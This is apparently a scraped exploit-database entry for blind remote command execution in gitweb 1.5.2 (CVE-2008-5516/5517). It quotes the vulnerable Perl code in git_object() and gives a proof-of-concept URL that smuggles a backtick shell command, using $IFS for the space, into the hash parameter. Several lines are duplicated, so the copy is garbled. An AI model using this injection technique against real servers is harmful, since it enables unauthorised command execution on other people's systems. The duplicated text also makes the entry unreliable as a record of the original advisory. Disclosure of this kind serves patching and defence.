gitWeb v1.5.2 Remote Command Execution
简介：
# Exploit Title: gitWeb remote command execution # Date: 2009.
# Exploit Title: gitWeb remote command execution |
# Author: S2 Crew [Hungary] |
# Tested on: debian linux, GIT 1.5.2 |
# CVE: CVE-2008-5516 - CVE-2008-5517 |
# The cgi script doesn't show the command output *blind command execution ;)* |
# Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object() |
# - hash or hash_base alone |
# - hash_base and file_name |
# - hash or hash_base alone |
if ($hash || ($hash_base && !defined $file_name)) { |
my $object_id = $hash || $hash_base; |
my $git_command = git_cmd_str(); |
open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null" |
or die_error('404 Not Found', "Object does not exist"); |
or die_error('404 Not Found', "Object does not exist"); |
# - hash_base and file_name |
http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785 |
